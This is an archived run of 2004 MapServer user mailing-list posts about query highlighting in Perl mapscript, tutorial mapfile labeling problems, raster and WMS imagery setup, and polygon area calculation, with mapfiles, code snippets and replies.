niko@isl.net.mx Mon Feb 2 16:20:58 2004 From: niko@isl.net.mx (Nikolai Vladychevski) Date: Mon, 02 Feb 2004 16:20:58 GMT Subject: [Mapserver-users] multiple queries, hilite in different color Message-ID: <20040202162058.6877.qmail@quazartecnologia.com> Hi, I want to select each found item on a layer with different color. This problem is due to when quering multiple layers the 'state' layer hilites with the same color that found points or lines on other layers and the result (at close views) is all shown in one color , the user can't distinguish anything. This is my code: if ($mode eq "nquery" || $mode eq "query") { my $queryPt=new mapscript::pointObj(); my ($x,$y)=&click2map($map,$xclick,$yclick,$imgext_obj); $queryPt->{x}=$x; $queryPt->{y}=$y; $map->prepareQuery(); if ($mode eq "nquery") { my $layer=$map->getLayerByName("regiones"); $layer->{status}=$mapscript::MS_OFF; my $layer=$map->getLayerByName("estados"); $layer->{status}=$mapscript::MS_OFF; my $layer=$map->getLayerByName("municipios"); $layer->{status}=$mapscript::MS_OFF; $res=$map->queryByPoint($queryPt,$mapscript::MS_MULTIPLE,0); } else { $res=$map->queryByPoint($queryPt,$mapscript::MS_SINGLE,0); } for (my $lidx=0;$lidx< $map->{numlayers};$lidx++) { my $l=$map->getLayer($lidx); print "layer $l->{name} has $l->{resultcache}->{numresults} results
"; my $result=$l->getResult(0); .... and display results The layers "regiones", "estados" and "municipios" are polygons, wich I want to be hilited in some other color than other layers. How can this be done? Right now I am turning them off. I have been thinking, if queryMapObj would be related to layer, I could change the color of the found items, but since it is not possible, I need to query each group of layers separately and find a way to merge 2 images resulted from each query. Any ideas? Thanks in advance Nikolai From moccand@ensg.ign.fr Mon Feb 2 17:29:11 2004 From: moccand@ensg.ign.fr (Guillaume MOCCAND) Date: Mon, 02 Feb 2004 18:29:11 +0100 (CET) Subject: [Mapserver-users] Hidden Layer Message-ID: <1075742951.401e88e71d6f1@dutilleux.ensg.ign.fr> Hi List ! i wonder how MS draws the map Layers. if i have an Image Layer completly hidden by a vector layer, will MS spend time reading the Tiff File ? or will it ignore it ? my layer-renderers are scale-dependent but because the layer image is hidden by the other layer at a given scale, i don't know if it is better to set its status to "OFF" regards Guillaume MOCCAND From woodbri@swoodbridge.com Mon Feb 2 18:45:35 2004 From: woodbri@swoodbridge.com (woodbri@swoodbridge.com) Date: Mon, 02 Feb 2004 13:45:35 -0500 Subject: [Mapserver-users] area Calculation in polygon-shapes In-Reply-To: References: <401E1BC7.2816.16AD24F1@localhost> Message-ID: <401E547F.7642.178AB6BE@localhost> Ack, you are right when applying it to GIS problems. In fact if you use it with lat/long data you will end up computing a result in degrees squared! Not the most intuitive units :) Which points out an important fact that you need to be aware of for any solution - you need to know the limits and assumptions of a solution before you apply it to a problem. For example are you trying to compute the area of a surface contained within a polygon, How is the polygon projected onto the surface? Is the surface smooth or has it terrain? etc, etc. If you don't care about most or all of this, my solution below might work for some simple cases, but Norman's links will give you more generalized or other specific solution that may be more valuable. -Steve On 2 Feb 2004 at 11:07, Norman Vine wrote: > > > > It is easy to calculate just get the polygon shape object and extract > > the polygon vertices. Then walk through the line segment and sum the > > area under the line segment. Or if the vertex points are in array v > > then in sudo-code: > > > > area = 0; > > for (i=1; i > area = area + (v[i].x - v[i-1].x)*(v[i-1].y + (v[i].y - v[i- > > 1].y)/2.0); > > } > > // and close the gap if any between the last and the first > > area = area + (v[0].x - v[numPoints-1].x)*(v[numPoints-1].y + (v[0].y > > - v[numPoints-1].y)/2.0); > > > Note that this is a 'flat earth' solution and the correspondence > of the solution obtained with what a surveyor might measure on > the actual 'ground' is *very* dependent on the size of the area, > it's location and the projection method used. > > For example if a latlon representation of the points is used > this will be ~accurate only for small areas near the equator. > > http://math.rice.edu/~pcmi/sphere/ > http://www.geodyssey.com/papers/ggelare.html > > Cheers > > Norman > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From carol_heydon@usgs.gov Mon Feb 2 18:59:09 2004 From: carol_heydon@usgs.gov (Carol L Heydon) Date: Mon, 2 Feb 2004 11:59:09 -0700 Subject: [Mapserver-users] MapServer Tutorial 4.0 Example 1.4 no image Message-ID: This is a multipart message in MIME format. --=_alternative 006849E887256E2E_= Content-Type: text/plain; charset="us-ascii" I'm trying to work through Tutorial4.0 with MapServer 4.0 on Windows 2000. I made the needed changes to the path information in the html and map files. Everything works fine for Examples 1.1, 1.2, and 1.3, but from 1.4 on the image does not display. What's different beginning with example 1.4? data directory: C:\Program Files\Apache Group\Apache2\htdocs\tutorial\data mapserv40 located in: C:\Program Files\Apache Group\Apache2\htdocs\cgi-bin Mapfile: MAP IMAGETYPE PNG EXTENT 201621.496941 -294488.285333 1425518.020722 498254.511514 SIZE 400 300 SHAPEPATH "data" IMAGECOLOR 255 255 255 PROJECTION "proj=laea" "ellps=clrk66" "lat_0=45" "lon_0=-100" # # Alternatively, you can specify an EPSG code. # "init=epsg:2163" # END # Start of LAYER DEFINITIONS --------------------------------------------- LAYER # States polygon layer begins here NAME states_poly DATA states_ugl STATUS DEFAULT TYPE POLYGON PROJECTION "init=epsg:4326" END CLASSITEM "CLASS" CLASS EXPRESSION 'land' COLOR 232 232 232 END CLASS EXPRESSION 'water' COLOR 198 198 255 END END # States polygon layer ends here LAYER # States line layer begins here NAME states_line DATA states_ugl STATUS DEFAULT TYPE LINE PROJECTION "init=epsg:4326" END CLASSITEM "CLASS" CLASS EXPRESSION 'land' COLOR 32 32 32 END END # States line layer ends here # End of LAYER DEFINITIONS ------------------------------- END # end of map file html: MapServer 4.0 Tutorial

Example 1.4: Labeling the Map

We can also add labels to our map.

This is what the mapfile looks like:

MAP
  IMAGETYPE PNG
  EXTENT 201621.496941 -294488.285333 1425518.020722 498254.511514
  SIZE 400 300
  SHAPEPATH "data"
  IMAGECOLOR 255 255 255
  FONTSET "fonts/fonts.list"

  PROJECTION
    "proj=laea"
    "ellps=clrk66"
    "lat_0=45"
    "lon_0=-100"
  #
  # Alternatively, you can specify an EPSG code.
  # "init=epsg:2163"
  #
  END

  # Start of LAYER DEFINITIONS 
---------------------------------------------
  LAYER # States polygon layer begins here
    NAME states_poly
    DATA states_ugl
    STATUS DEFAULT
    TYPE POLYGON

    PROJECTION
      "init=epsg:4326"
    END

    CLASSITEM "CLASS"
    LABELITEM "STATE"
    CLASS
      EXPRESSION 'land'
      COLOR 232 232 232
      LABEL
        COLOR 132 31 31
        SHADOWCOLOR 218 218 218
        SHADOWSIZE 2 2
        TYPE TRUETYPE
        FONT arial-bold
        SIZE 12
        ANTIALIAS TRUE
        POSITION CL
        PARTIALS FALSE
        MINDISTANCE 300
        BUFFER 4
      END # end of label
    END
  END # States polygon layer ends here

  LAYER # States line layer begins here
    NAME states_line
    DATA states_ugl
    STATUS DEFAULT
    TYPE LINE

    PROJECTION
      "init=epsg:4326"
    END

    CLASSITEM "CLASS"
    CLASS
      EXPRESSION 'land'
      COLOR 64 64 64
    END
  END # States line layer ends here
  # End of LAYER DEFINITIONS -------------------------------
END # end of map file

Here we introduce a few more parameters along with the LABEL object:

FONTSET
Here we specify the full path to our truetype fonts list (or font set) file. This file lists each of the available fonts. See the file itself and the MapServer fonset documentation for more info. FONTSET is a parameter of the MAP object.

LABELITEM
This specifies which data attribute to use for labeling, in this case "STATE". LABELITEM is a parameter of the LAYER object.

LABEL
Marks the beginning of the LABEL object. The label object can be used under other objects (i.e. the SCALEBAR object).

COLOR
Within the LABEL object, COLOR specifies the color of the label text.

SHADOWCOLOR
This specifies the shadow color of the label text.

SHADOWSIZE
Specifies the shadow size. The value corresponds to the X and the Y shifts in pixels. So, "2 2" means two pixels wide by two pixels high.

TYPE
Within the LABEL object, TYPE specifies what type of font to use. We have the choice of TRUETYPE or BITMAP (the built-in fonts). We choose TRUETYPE.

FONT
If you specify TYPE as TRUETYPE, you need to specify what font to use. The value here is the "alias" in the font list file.

SIZE
If using truetype fonts, the value is size in pixels. If bitmap, you can say something like "small" or "large".

ANTIALIAS
This turns truetype antialiasing on or off. Remember the value isn't on or off but TRUE or FALSE.

POSITION
Where to position the label text in relation to the label points. The value is a combination of vertical and horizontal positions. You have the following choices for vertical alignment: C for center, U for upper, and L for lower. For horizontal alignment you have the following choices: C for center, L for left, and R for right. So, to align the label text to the center of label ID you'd use the value "CC" (center-center). Or if you'd like it to be on the lower left of the ID, you'd use LL. Another way is to let MapServer decide the best position for your labels. For this you would use the value "AUTO".

PARTIALS
Tells MapServer whether to generate incomplete label texts or not. The default here is not to generate fragments of a label text. The value is either TRUE or FALSE.

MINDISTANCE
This is the minimum distance in pixels between duplicate labels. See what happens if you increase or decrease this value.

BUFFER
The padding (in pixels) for each label. This is used to enhance readability. A BUFFER of 4 pixels mean that no label will be drawn within four pixels of each other. Again, change to see how it works.

You can also create labels separate from a POLYGON layer. You do this with the ANNOTATION data type. Have a look at the file "example1-4a.map" to see how you'd implement this kind of labeling. You will notice that the CLASS object within the "label" layer has a COLOR parameter value of "-1 -1 -1". The negative number tells MapServer to give this CLASS a transparent color (the label IDs don't show up). Once again, play with the values to understand how it affects the map.

Back to Example 1.3 | Back to the Section 1 | Back to the Sections Page | Proceed to Example 1.5
image tag as obtained from 'view source': --=_alternative 006849E887256E2E_= Content-Type: text/html; charset="us-ascii"
I'm trying to work through Tutorial4.0 with MapServer 4.0 on Windows 2000.  I made the needed changes to the path information in the html and map files.  Everything works fine for Examples 1.1, 1.2, and 1.3, but from 1.4 on the image does not display.  What's different beginning with example 1.4?

data directory:  C:\Program Files\Apache Group\Apache2\htdocs\tutorial\data
mapserv40 located in:  C:\Program Files\Apache Group\Apache2\htdocs\cgi-bin

Mapfile:
MAP
  IMAGETYPE      PNG
  EXTENT         201621.496941 -294488.285333 1425518.020722 498254.511514
  SIZE           400 300
  SHAPEPATH      "data"
  IMAGECOLOR     255 255 255

  PROJECTION
    "proj=laea"
    "ellps=clrk66"
    "lat_0=45"
    "lon_0=-100"
  #
  # Alternatively, you can specify an EPSG code.
  # "init=epsg:2163"
  #
  END

  # Start of LAYER DEFINITIONS ---------------------------------------------
  LAYER # States polygon layer begins here
    NAME         states_poly
    DATA         states_ugl
    STATUS       DEFAULT
    TYPE         POLYGON

    PROJECTION
      "init=epsg:4326"
    END

    CLASSITEM    "CLASS"
    CLASS
      EXPRESSION 'land'
       COLOR      232 232 232
    END
    CLASS
      EXPRESSION 'water'
       COLOR      198 198 255
    END
  END # States polygon layer ends here

  LAYER # States line layer begins here
    NAME         states_line
    DATA         states_ugl
    STATUS       DEFAULT
    TYPE         LINE

    PROJECTION
      "init=epsg:4326"
    END

    CLASSITEM    "CLASS"
    CLASS
      EXPRESSION 'land'
      COLOR      32 32 32
    END
  END # States line layer ends here
  # End of LAYER DEFINITIONS -------------------------------
END # end of map file

html:
<html>
<head>
<title>MapServer 4.0 Tutorial</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link type="text/css" rel="stylesheet" href="ms35.css" />
</head>

<body bgcolor="#FFFFFF" text="#000000">
<table align="center" width="600" border="0">
<tr>
<td>
<h3 align="center">Example 1.4: Labeling the Map</h3>
      <div align="center"><img border="1" src="/cgi-bin/mapserv40?map=C:/Program Files/Apache Group/Apache2/htdocs/tutorial/example1-4.map&mode=map" />
      </div>
      <p align="left">We can also add labels to our map.</p>
      <hr>
      <p align="left">This is what the mapfile looks like:</p>
      <pre align="left">MAP
  IMAGETYPE PNG
  EXTENT 201621.496941 -294488.285333 1425518.020722 498254.511514
  SIZE 400 300
  SHAPEPATH &quot;data&quot;
  IMAGECOLOR 255 255 255
  FONTSET &quot;fonts/fonts.list&quot;

  PROJECTION
    &quot;proj=laea&quot;
    &quot;ellps=clrk66&quot;
    &quot;lat_0=45&quot;
    &quot;lon_0=-100&quot;
  #
  # Alternatively, you can specify an EPSG code.
  # &quot;init=epsg:2163&quot;
  #
  END

  # Start of LAYER DEFINITIONS ---------------------------------------------
  LAYER # States polygon layer begins here
    NAME states_poly
    DATA states_ugl
    STATUS DEFAULT
    TYPE POLYGON

    PROJECTION
      &quot;init=epsg:4326&quot;
    END

    CLASSITEM &quot;CLASS&quot;
    LABELITEM &quot;STATE&quot;
    CLASS
      EXPRESSION 'land'
      COLOR 232 232 232
      LABEL
        COLOR 132 31 31
        SHADOWCOLOR 218 218 218
        SHADOWSIZE 2 2
        TYPE TRUETYPE
        FONT arial-bold
        SIZE 12
        ANTIALIAS TRUE
        POSITION CL
        PARTIALS FALSE
        MINDISTANCE 300
        BUFFER 4
      END # end of label
    END
  END # States polygon layer ends here

  LAYER # States line layer begins here
    NAME states_line
    DATA states_ugl
    STATUS DEFAULT
    TYPE LINE

    PROJECTION
      &quot;init=epsg:4326&quot;
    END

    CLASSITEM &quot;CLASS&quot;
    CLASS
      EXPRESSION 'land'
      COLOR 64 64 64
    END
  END # States line layer ends here
  # End of LAYER DEFINITIONS -------------------------------
END # end of map file</pre>
      <hr align="center" width="300">
      <p>Here we introduce a few more parameters along with the LABEL object:</p>
      <p>FONTSET<br>
        Here we specify the full path to our truetype fonts list (or font set)
        file. This file lists each of the available fonts. See the file itself
        and the <a href="http://mapserver.gis.umn.edu/doc40/fontset.html">MapServer
        fonset documentation</a> for more info. FONTSET is a parameter of the
        MAP object.</p>
      <p>LABELITEM<br>
        This specifies which data attribute to use for labeling, in this case
        &quot;STATE&quot;. LABELITEM is a parameter of the LAYER object.</p>
      <p>LABEL<br>
        Marks the beginning of the LABEL object. The label object can be used
        under other objects (i.e. the SCALEBAR object).</p>
      <p> COLOR<br>
        Within the LABEL object, COLOR specifies the color of the label text.</p>
      <p>SHADOWCOLOR<br>
        This specifies the shadow color of the label text.</p>
      <p>SHADOWSIZE<br>
        Specifies the shadow size. The value corresponds to the X and the Y shifts
        in pixels. So, &quot;2 2&quot; means two pixels wide by two pixels high.</p>
      <p>TYPE<br>
        Within the LABEL object, TYPE specifies what type of font to use. We have
        the choice of TRUETYPE or BITMAP (the built-in fonts). We choose TRUETYPE.</p>
      <p>FONT<br>
        If you specify TYPE as TRUETYPE, you need to specify what font to use.
        The value here is the &quot;alias&quot; in the font list file.</p>
      <p>SIZE<br>
        If using truetype fonts, the value is size in pixels. If bitmap, you can
        say something like &quot;small&quot; or &quot;large&quot;.</p>
      <p>ANTIALIAS<br>
        This turns truetype antialiasing on or off. Remember the value isn't on
        or off but TRUE or FALSE.</p>
      <p>POSITION<br>
        Where to position the label text in relation to the label points. The
        value is a combination of vertical and horizontal positions. You have
        the following choices for vertical alignment: C for center, U for upper,
        and L for lower. For horizontal alignment you have the following choices:
        C for center, L for left, and R for right. So, to align the label text
        to the center of label ID you'd use the value &quot;CC&quot; (center-center).
        Or if you'd like it to be on the lower left of the ID, you'd use LL. Another
        way is to let MapServer decide the best position for your labels. For
        this you would use the value &quot;AUTO&quot;.</p>
      <p>PARTIALS<br>
        Tells MapServer whether to generate incomplete label texts or not. The
        default here is not to generate fragments of a label text. The value is
        either TRUE or FALSE.</p>
      <p>MINDISTANCE<br>
        This is the minimum distance in pixels between duplicate labels. See what
        happens if you increase or decrease this value.</p>
      <p>BUFFER<br>
        The padding (in pixels) for each label. This is used to enhance readability.
        A BUFFER of 4 pixels mean that no label will be drawn within four pixels
        of each other. Again, change to see how it works.<br>
      </p>
      <hr align="center" width="300">
      <p>You can also create labels separate from a POLYGON layer. You do this
        with the ANNOTATION data type. Have a look at the file &quot;example1-4a.map&quot;
        to see how you'd implement this kind of labeling. You will notice that
        the CLASS object within the &quot;label&quot; layer has a COLOR parameter
        value of &quot;-1 -1 -1&quot;. The negative number tells MapServer to
        give this CLASS a transparent color (the label IDs don't show up). Once
        again, play with the values to understand how it affects the map.</p>
      <hr>
      <p class="Small" align="center"><a href="example1-3.html">Back to Example
        1.3</a> | <a href="section1.html">Back to the Section 1</a> | <a href="sections.html">Back to the Sections Page</a>
                | <a href="example1-5.html">Proceed to Example 1.5</a></p>
      </td>
</tr>
</table>
</body>
</html>

image tag as obtained from 'view source':
<img border="1" src="/cgi-bin/mapserv40?map=C:/Program Files/Apache Group/Apache2/htdocs/tutorial/example1-4.map&mode=map" /> --=_alternative 006849E887256E2E_=-- From nacional@cbs.umn.edu Mon Feb 2 19:23:21 2004 From: nacional@cbs.umn.edu (Pericles Nacionales) Date: Mon, 2 Feb 2004 13:23:21 -0600 (CST) Subject: [Mapserver-users] bizarre raster output In-Reply-To: References: Message-ID: No worries, Charlton. Glad to help. -Perry On Mon, 2 Feb 2004, Charlton Purvis wrote: > Perry: > > Again, thanks so much for the help and whipping up your test run. I > just upgraded gdal to 1.1.9, and all seems well. > > Charlton > > > -----Original Message----- > > From: Pericles Nacionales [mailto:nacional@cbs.umn.edu] > > Sent: Thursday, January 29, 2004 7:16 PM > > To: Charlton Purvis > > Cc: mapserver-users@lists.gis.umn.edu; Brock Murch; Jeremy Cothran > > Subject: Re: [Mapserver-users] bizarre raster output > > > > Charlton, > > > > Check http://hypnos.cbs.umn.edu/projects/gdal_segfault.html. Is this > what > > it's supposed to look like? I'm running MapServer 4.0.1 but compiled > gdal > > from cvs just a couple days ago. PNG support was compiled using > external > > libpng version 1.2.5. > > > > You might want to upgrade your libpng. > > > > -Perry N. > > > > > > On Thu, 29 Jan 2004, Charlton Purvis wrote: > > > > > Hi, folks: > > > > > > I've got a raster .png, 8800 x 6600, complete w/ a working .wld. > The > > > original raster has some color on the left side, and the rest of the > > > image is transparent. > > > > > > I expected to see the Pacific covered by this raster and the rest of > the > > > Eastern part left alone. But the attached image is what I get. > > > Bizarre. Is there a max pixel image size? The entire PNG is a mere > > > 2MB. > > > > > > Anyone seen anything like this? It's purty, but it ain't gunna cut > it. > > > > > > MapServer version 4.0 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP > SUPPORTS=PROJ > > > SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT > INPUT=EPPL7 > > > INPUT=JPEG INPUT=POSTGIS INPUT=GDAL INPUT=SHAPEFILE > > > > > > gdal-1.1.8 (plain ./configure) > > > > > > EXTENT -125 -5 -45 55 > > > SIZE 880 660 > > > IMAGETYPE PNG # I've also tried RGBA w/ TRANSPARENCY ON > > > > > > The PROJECTIONs are the same. Also tried stripping out everything > > > (including projections) but the raster layer. Same results. > > > > > > Aha! I just ran a gdalinfo, and I get a seg fault. Anyone mind > > > checking it out? Original raster (non-transparent) is here: > > > http://nautilus.baruch.sc.edu/~cpurvis/. > > > > > > I don't think the file is corrupt since it displays OK in Photoshop, > and > > > ImageMagick is OK w/ it, too. > > > > > > Thanks, > > > > > > Charlton > > > > > > > > > > > > > > > Charlton Purvis > > > (803) 777-8858 : voice > > > (803) 777-3935 : fax > > > cpurvis@sc.edu > > > > > > Baruch Institute > > > University of South Carolina > > > Columbia, SC 29208 > > > > > > > From niko@isl.net.mx Mon Feb 2 18:29:08 2004 From: niko@isl.net.mx (Nikolai Vladychevski) Date: Mon, 02 Feb 2004 18:29:08 GMT Subject: [Mapserver-users] querying layers separately does not hilite items Message-ID: <20040202182909.7186.qmail@quazartecnologia.com> Hi again, I am still trying to hilite in different colors the items queried, but the items are not hiliten at all. Here is my code: $qimg=$map->prepareImage(); for (my $lidx=0;$lidx< $map->{numlayers};$lidx++) { my $l=$map->getLayer($lidx); $res=$l->queryByPoint($map,$queryPt,$mapscript::MS_MULTIPLE,0); $void=$l->drawQuery($map,$qimg); } $void=$qimg->save("$Constants::IMGTMPDIR/$imgfile"); When I use $layer->drawQuery it just draws the layer with no hiliting, and when I use $map->drawQuery it hilites the items. I checked the sources and definitely $layer->drawQuery is nothing more than simple draw(). from the mapscript.i: MapObj: %newobject drawQuery; imageObj *drawQuery() { return msDrawQueryMap(self); } LayerObj: int draw(mapObj *map, imageObj *image) { return msDrawLayer(map, self, image); } int drawQuery(mapObj *map, imageObj *image) { return msDrawLayer(map, self, image); } this is in mapserver 4.0.1. Looks like there is no other way to hilite in different colors than merging two images, but perl does not have pasteImage() function like php API. Can anyone confirm this? Any comments? Thanks in advance Nikolai From stephen.clark@focus.ca Mon Feb 2 20:30:29 2004 From: stephen.clark@focus.ca (Stephen Clark) Date: Mon, 2 Feb 2004 12:30:29 -0800 Subject: [Mapserver-users] I have some landsat 7 data that I want to tile : overlap + transparency Message-ID: <033d01c3e9cb$660321a0$6c000a0a@sclark> Ed or others, If you have the time could you look at the LAYER below and help me out with the appropriate parameters to get a 300 dpi image at 6 inches using the BBOX, WIDTH and HEIGHT centering on UTM Zone 10 coordinates 583695, 6267684. Has there been some discussions on this in the Archives because I have come up with a blank on this..? thanks Stephen ----- Original Message ----- From: "Stephen Clark" To: "Ed McNierney" ; "Kralidis,Tom [Burlington]" ; "Frank Warmerdam" Cc: Sent: Monday, February 02, 2004 9:14 AM Subject: Re: [Mapserver-users] I have some landsat 7 data that I want to tile : overlap + transparency > Ed, > > How would I do that with the following layer for CanImage: > > e.g., using the BBOX parameter ??? > > > LAYER # Centre d'information Topographique - CIT Sherbrooke > NAME "CANIMAGE" > TYPE RASTER > OFFSITE 0 0 0 > STATUS on > CONNECTIONTYPE WMS > CONNECTION "http://wms.cits.rncan.gc.ca/cgi-bin/cubeserv.cgi?" > METADATA > "wms_title" "CANIMAGE" > "wms_name" "CANIMAGE:CanImage/CanImage" > "wms_server_version" "1.1.0" > "wms_srs" "epsg:26910" > "wms_format" "image/png" > END > PROJECTION > "init=epsg:26910" > END > END # > > > > Thanks > Stephen > > > > ----- Original Message ----- > From: "Ed McNierney" > To: "Kralidis,Tom [Burlington]" ; "Stephen Clark" > ; "Frank Warmerdam" > Cc: > Sent: Friday, January 30, 2004 6:51 PM > Subject: RE: [Mapserver-users] I have some landsat 7 data that I want to > tile : overlap + transparency > > > Folks - > > The concept of a 300 dpi image from spatial imagery is nothing more than > a convenient fiction. EVERY WMS command produces a 300 dpi image - at a > certain output scale. > > You need to define one more variable - the geographic dimensions of a > pixel. This will let you calculate the image size you want. Say, for > example, you want to create a 300 dpi image in which each pixel > represents 15 meters (in each dimension). This means each inch on the > output product will be 300 x 15 meters, so your output scale is 1 inch = > 300 x 15 meters or 1 inch = 300 x 15 x 39.37 inches - a scale of > 1:177,165. > > If you'd like to do that, and produce a 6" x 6" 300 dpi image at a > resolution of 15 meters per pixel, your WMS request asks for 6 x 300 x > 15 or 27,000 meters in each dimension (in the BBOX parameter) and asks > for a WIDTH and HEIGHT of 1,800 pixels (6 inches at 300 dpi). > > If you'd like the image to be 10 meters per pixel, or 30 meters per > pixel, you would request a BBOX where delta X and delta Y were both > 18,000 meters or 54,000 meters respectively. > > - Ed > > Ed McNierney > President and Chief Mapmaker > TopoZone.com > -----Original Message----- > From: Kralidis,Tom [Burlington] [mailto:Tom.Kralidis@ec.gc.ca] > Sent: Friday, January 30, 2004 7:58 PM > To: 'Stephen Clark'; Frank Warmerdam > Cc: mapserver-users@lists.gis.umn.edu > Subject: RE: [Mapserver-users] I have some landsat 7 data that I want to > tile : overlap + transparency > > > > > -----Original Message----- > > From: Stephen Clark [mailto:stephen.clark@focus.ca] > > Sent: Friday, January 30, 2004 7:57 PM > > To: Kralidis,Tom [Burlington]; Frank Warmerdam > > Cc: mapserver-users@lists.gis.umn.edu > > Subject: Re: [Mapserver-users] I have some landsat 7 data that I want > > to tile : overlap + transparency > > > > > > Tom, > > > > Is this the same as the CANIMAGE WMS layer from : > > > > "http://wms.cits.rncan.gc.ca/cgi-bin/cubeserv.cgi?" > > > > The CanImage layer is a processed set, with no overlaps, at 15m > resolution. > The CCRS Landsat are band 743, as distributed by GeoGratis. Same base > product, different pre-processing done to the data. IMHO, the CanImage > product looks more seamless. > > > If so I already have this layer added to MapServer. > > > > My use of Landsat 7 Imagery is for a backdrop in my PDF files. But I > > cannot get the WMS server to produce a 300 dpi image so I need to copy > > > them locally to produce the 300 dpi PDF files. > > > > Do you know of a WMS command that will produce an image ad a > > particular DPI? > > > > No, anyone else got an idea here? > > ..Tom > > > thanks > > Stephen > > > > ----- Original Message ----- > > From: "Kralidis,Tom [Burlington]" > > To: "'Stephen Clark'" ; "Frank Warmerdam" > > > > Cc: > > Sent: Friday, January 30, 2004 2:59 PM > > Subject: RE: [Mapserver-users] I have some landsat 7 data that I want > > to tile : overlap + transparency > > > > > > > > > > Hi Stephen, > > > > > > What are your requirements for using the Landsat 7 Orthoimagery in > > > MapServer? > > > > > > The CCRS WMS has the entire Landsat 7 Orthorectified Imagery > > > collection, which is on GeoGratis, available as OGC:WMS: > > > > > > URL: http://ceoware2.ccrs.nrcan.gc.ca/cubewerx/cubeserv/cubeserv.cgi > > > Layer name: L7O_B743:CEOWARE2 > > > > > > Note that this layer is also timestamped, i.e. you can > > query via TIME > > > in OGC:WMS also. The scenes' black areas are transparent. > > > > > > Just thought it'd be easier to point to an OGC:WMS of this > > data rather > > than > > > roll your own. > > > > > > Another comment: I'd be interested, as a separate exercise, how > > > MapServer deals with overlapping images in a given layer. > > What kind > > > of algorithm is done between scenes which overlap? > > > > > > Thanks > > > > > > ..Tom > > > > > > ========================= > > > Tom Kralidis > > > Systems Scientist > > > Environment Canada > > > Tel: +01-905-336-4409 > > > http://www.ec.gc.ca/cise/ > > > > > > ========================= > > > > > > > -----Original Message----- > > > > From: Stephen Clark [mailto:stephen.clark@focus.ca] > > > > Sent: Friday, January 30, 2004 6:52 PM > > > > To: Frank Warmerdam > > > > Cc: mapserver-users@lists.gis.umn.edu > > > > Subject: Re: [Mapserver-users] I have some landsat 7 data that I > > > > want to tile : overlap + transparency > > > > > > > > > > > > Frank, > > > > > > > > My landsat data is from the Geogratis web site : > > > > > > > > http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/utm/ > > > > > > > > Specifically these three scenes as example: > > > > > > > > http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/u > > > > tm/047021/ > > > > http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/u > > > > tm/048021/ > > > > http://geogratis.cgdi.gc.ca/download/landsat_7/ortho/geotiff/u > > > > tm/049021/ > > > > > > > > I compressed the files to ECW and produced this layer: > > > > > > > > LAYER > > > > NAME landsat_048_021_rgb > > > > DATA > > > > > > "d:/datasets/imagery/landsat/ecw/048021_0100_990804_l7_743_utm10.ecw" > > > > TYPE RASTER > > > > STATUS ON > > > > TRANSPARENCY 60 > > > > > > > > # turn off the black background in the image files > > > > OFFSITE 0 0 0 > > > > END > > > > > > > > > > > > >Do all the images have the same background value? YES > > -- they do. > > > > There is a residual amount of black fuzziness around the scenes > > > > after using the above OFFSITE command. > > > > > > > > Here is a LAYER file for the tiled index of Landsat scenes: > > > > > > > > LAYER > > > > NAME landsat_tile > > > > TILEINDEX "d:/datasets/imagery/landsat/landsat_index.shp" > > > > TILEITEM "location" > > > > TYPE RASTER > > > > STATUS ON > > > > TRANSPARENCY 60 > > > > > > > > # turn off the black background in the image files > > > > OFFSITE 0 0 0 > > > > > > > > METADATA > > > > WMS_TITLE "Lansdat 7 Imagery " > > > > WMS_ABSTRACT "N/A" > > > > WMS_SRS "EPSG:26910" > > > > END > > > > > > > > END > > > > > > > > But this tiled layer does not have any transparency. How would I > > > > fix this? > > > > > > > > thanks > > > > Stephen > > > > > > > > ----- Original Message ----- > > > > From: "Frank Warmerdam" > > > > To: "Stephen Clark" > > > > Cc: > > > > Sent: Friday, January 30, 2004 2:31 PM > > > > Subject: Re: [Mapserver-users] I have some landsat 7 data that I > > > > want to tile : overlap + transparency > > > > > > > > > > > > > Stephen Clark wrote: > > > > > > Hi All, > > > > > > > > > > > > > > > > > > I have some landsat 7 data that I want to tile but the scenes > > > > > > overlap. > > > > > > > > > > > > Can I use some sort of command that can be added to the > > > > "gdaltindex" > > > > > > command to add a transparency value to these scenes > > so that the > > > > > > overlap areas can show through. > > > > > > > > > > Stephen, > > > > > > > > > > Do all the images have the same background value? If > > so, use it > > > > > as the offsite value for the whole layer and it will be used > > > > with all the > > > > > images. The other alternative is to store the tiles in a format > > > > > for which GDAL recognises "nodata" values, but this isn't very > > > > convenient > > > > > to arrange. There is no way to include nodata values in > > the raster > > > > > tile index. > > > > > > > > > > Best regards, > > > > > -- > > > > > > > > > > > ---------------------------------------+---------------------------- > > > > ---------------------------------------+-- > > > > > ---------------------------------------+---- > > > > ---- > > > > > I set the clouds in motion - turn up | Frank Warmerdam, > > > > warmerdam@pobox.com > > > > > light and sound - activate the windows | > > http://pobox.com/~warmerdam > > > > > and watch the world go > > round - Rush | Geospatial > > > > Programmer for Rent > > > > > > > > > > > > > > > > > > > > > > > _______________________________________________ > > > > Mapserver-users mailing list Mapserver-users@lists.gis.umn.edu > > > > http://lists.gis.umn.edu/mailman/listinfo/maps> erver-users > > > > > > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users@lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > From nacional@cbs.umn.edu Mon Feb 2 19:29:25 2004 From: nacional@cbs.umn.edu (Pericles Nacionales) Date: Mon, 2 Feb 2004 13:29:25 -0600 (CST) Subject: [Mapserver-users] MapServer 4.0 Tutorial problems In-Reply-To: <200402021611.i12GB5AP024183@lists.gis.umn.edu> References: <200402021611.i12GB5AP024183@lists.gis.umn.edu> Message-ID: Hi there! Can you have a look at your web server's error log and see if there's anything pertinent to the TrueType error you're getting? You might also want to check the permissions on your fonts and fonts directory--make sure the web server account have access to the directory/read access to files. Cheers! -Perry N. On Mon, 2 Feb 2004 mapserver@digger.net wrote: > I've been going through the tutorial, and have run into some problems with it. > The first one is in exercise 1-4, where labeling is introduced. These lines: > > TYPE TRUETYPE > FONT arial-bold > > cause an "Internal Server Error" from Apache. The TYPE line by itself just > produces this (as expected): > > msGetLabelSize(): TrueType Font error. Requested font (NULL) not found. > > But when both are present, MapServer fails. Where might I look for a 